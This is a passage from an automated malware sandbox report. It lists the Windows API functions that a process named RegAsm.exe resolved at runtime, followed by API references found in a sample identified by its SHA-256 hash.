00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasProtocolChangePassword (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasProtocolGetInfo (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasProtocolRetry (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasProtocolStart (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasPortOpen (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasAllocateRoute (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasActivateRoute (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasActivateRouteEx (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasDeviceSetInfo (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasDeviceSetInfoSafe (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasDeviceConnect (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasPortSetInfo (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasSendProtocolResultToRasman (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasSetEapInfo (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasRpcConnect (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasRpcDisconnect (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasGetNumPortOpen (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasRefConnection (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasSetEapUIData (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasGetEapUIData (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasFindPrerequisiteEntry (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasPortOpenEx (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasLinkGetStatistics (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasConnectionGetStatistics (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasGetHportFromConnection (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasRPCBind (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasReferenceCustomCount (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasGetHConnFromEntry (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasGetDeviceName (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasEnableIpSec (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasSetTunnelEndPoints (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasStartRasAutoIfRequired (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasStartProtocolRenegotiation (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasSendNotification (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasGetDeviceNameW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasGetUnicodeDeviceName (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasRpcGetVersion (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasRpcPortEnum (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasRpcDeviceEnum (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasRpcGetDevConfig (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasRpcPortGetInfo (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasRpcGetInstalledProtocols (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasRpcGetInstalledProtocolsEx (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasRpcGetSystemDirectory (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasRpcGetUserPreferences (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasRpcDeleteEntry (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasRpcEnumConnections (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasRpcGetCountryInfo (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasRpcGetErrorString (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasRpcSetUserPreferences (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasProtocolUpdateConnection (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasAddNotificationEx (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasRemoveNotificationEx (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasGetNotificationEntry (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasSignalMonitorThreadExit (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RasmanUninitialize (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter OpenSCManagerA (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter OpenServiceA (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RegOpenCurrentUser (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RegNotifyChangeKeyValue (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter NotifyServiceStatusChangeA (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter WinHttpOpen (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter WinHttpOpenW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter WinHttpCloseHandle (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter WinHttpCloseHandleW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter StrRChrA (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter GetProductInfo (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter InitSecurityInterfaceW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter InitSecurityInterfaceA (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter SystemFunction035 (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RpcStringBindingComposeW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RpcBindingFromStringBindingW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RpcBindingSetAuthInfoExW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RpcBindingSetOption (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RpcStringFreeW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter WinHttpSetTimeouts (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter WinHttpSetTimeoutsW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter WinHttpGetIEProxyConfigForCurrentUser (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter GetAdaptersAddresses (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter Dhcpv6QueryLeaseInfo (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter ConvertInterfaceNameToLuidW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter Dhcpv6FreeLeaseInfo (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter DhcpIsEnabled (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter DhcpQueryLeaseInfo (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter DhcpFreeLeaseInfo (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter GetBestInterfaceEx (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter SHGetValueA (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RtlConvertSidToUnicodeString (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RegDeleteTreeA (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RegDeleteTreeW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter StringFromIID (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter NsiAllocateAndGetTable (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter CM_Open_Class_Key_ExW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter ConvertInterfaceGuidToLuid (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter GetIfEntry2 (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter GetIpForwardTable2 (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter GetIpNetEntry2 (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter FreeMibTable (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter NsiFreeTable (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter GetEnvironmentVariable (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter SetEvent (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter ResetEvent (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter WinHttpGetProxyForUrl (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter WinHttpGetProxyForUrlW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RpcAsyncInitializeHandle (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter NotifyServiceStatusChangeW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter NdrAsyncClientCall (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter RpcAsyncCompleteCall (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter GetTimeZoneInformation (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter GetDynamicTimeZoneInformation (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter SHGetFolderPath (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter GetFileMUIPath (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter LoadLibraryEx (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter LoadLibraryExW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter FreeLibrary (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter FreeLibraryW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter LoadStringW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter WSAConnect (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter CancelIoEx (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter CreateDirectory (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter CreateDirectoryW (UID: 00000000-00004108) "RegAsm.exe" called "GetProcAddress" with a parameter ThemeInitApiHook (UID: 00000000-00004108)31:Tbc6d,Found reference to API (Indicator: "CreateDirectory"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "GetTempFileName"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "GetClassName"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "PFXIsPFXBlob"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "PFXVerifyPassword"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "GetCurrentProcess"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "GetMapMode"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "CreateFontIndirectW"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "SetStretchBltMode"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "GetStockObject"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "GetObject"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "GetTextColor"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "GetBkColor"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "RtlMoveMemory"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "LoadLibrary"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "FreeLibrary"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "FillRect"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "MoveWindow"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "GetCurrentObject"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "QueueUserWorkItem"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "GetDC"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "ReleaseDC"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "SelectObject"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "DeleteObject"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "GetLength"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "SendMessage"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "WriteFile"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "ResetEvent"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "GetParent"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "SetParent"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "GetProcAddress"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "CompareString"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "Sleep"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "MessageBox"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "StrToInt64ExW"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "GetLastError"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "LocalFree"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "CloseHandle"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "ReadFile"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "GetCommandLineW"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "SetConsoleCtrlHandler"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "SetProcessShutdownParameters"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "SetCurrentDirectoryW"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "GetSystemDirectoryW"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "SetErrorMode"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "ExitProcess"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "FreeSid"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "SetNamedSecurityInfoW"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "SetEntriesInAclW"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "AllocateAndInitializeSid"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "GetNamedSecurityInfoW"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "CommandLineToArgvW"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "WideCharToMultiByte"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "LoadLibraryA"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "GetVersionExA"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "MultiByteToWideChar"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "lstrlenW"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "lstrlenA"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "GetWindowsDirectoryA"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "GetWindowsDirectoryW"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "LockResource"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "LoadResource"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "FindResourceExW"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "EnumResourceLanguagesW"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "EnumResourceNamesW"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "lstrcatA"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "lstrcpyA"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "CompareStringW"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "CreateDirectoryA"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "CreateDirectoryW"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "ExpandEnvironmentStringsA"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "lstrcpynW"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "GetFileAttributesA"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "GetFileAttributesW"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "GetSystemDirectoryA"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "IsBadWritePtr"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "DisableThreadLibraryCalls"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "GlobalAlloc"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "GlobalFree"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "RegQueryValueExA"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "RegOpenKeyA"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "RegCreateKeyExA"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "RegSetValueExW"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "RegSetValueExA"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "AddAccessAllowedAce"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "LookupAccountSidW"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "GetAce"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "InitializeAcl"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "SetFileSecurityW"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "SetSecurityDescriptorDacl"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "InitializeSecurityDescriptor"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "SHGetFolderPathA"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "SHGetFolderPathW"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "CryptAcquireContextA"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "CryptGenRandom"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "DeleteCriticalSection"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "FlushFileBuffers"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "TlsFree"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "QueryPerformanceCounter"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "GetEnvironmentStringsW"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "TlsAlloc"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "GetStartupInfoW"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "HeapReAlloc"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "UnmapViewOfFile"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "RtlUnwind"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "SetHandleCount"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "MapViewOfFile"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "GetFileSizeEx"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "FreeEnvironmentStringsW"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "GetModuleFileNameW"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "InterlockedCompareExchange"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "GetCPInfo"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "IsDebuggerPresent"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "UnhandledExceptionFilter"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "GetOEMCP"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "HeapDestroy"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "IsValidCodePage"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "GetConsoleMode"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "LCMapStringW"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "QueryPerformanceFrequency"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "LeaveCriticalSection"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "SetFilePointer"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "TlsSetValue"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "GetCurrentThreadId"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "HeapFree"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "IsBadReadPtr"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "GetCommandLineA"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "HeapCreate"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "InitializeCriticalSection"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "InterlockedDecrement"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "HeapAlloc"; File: 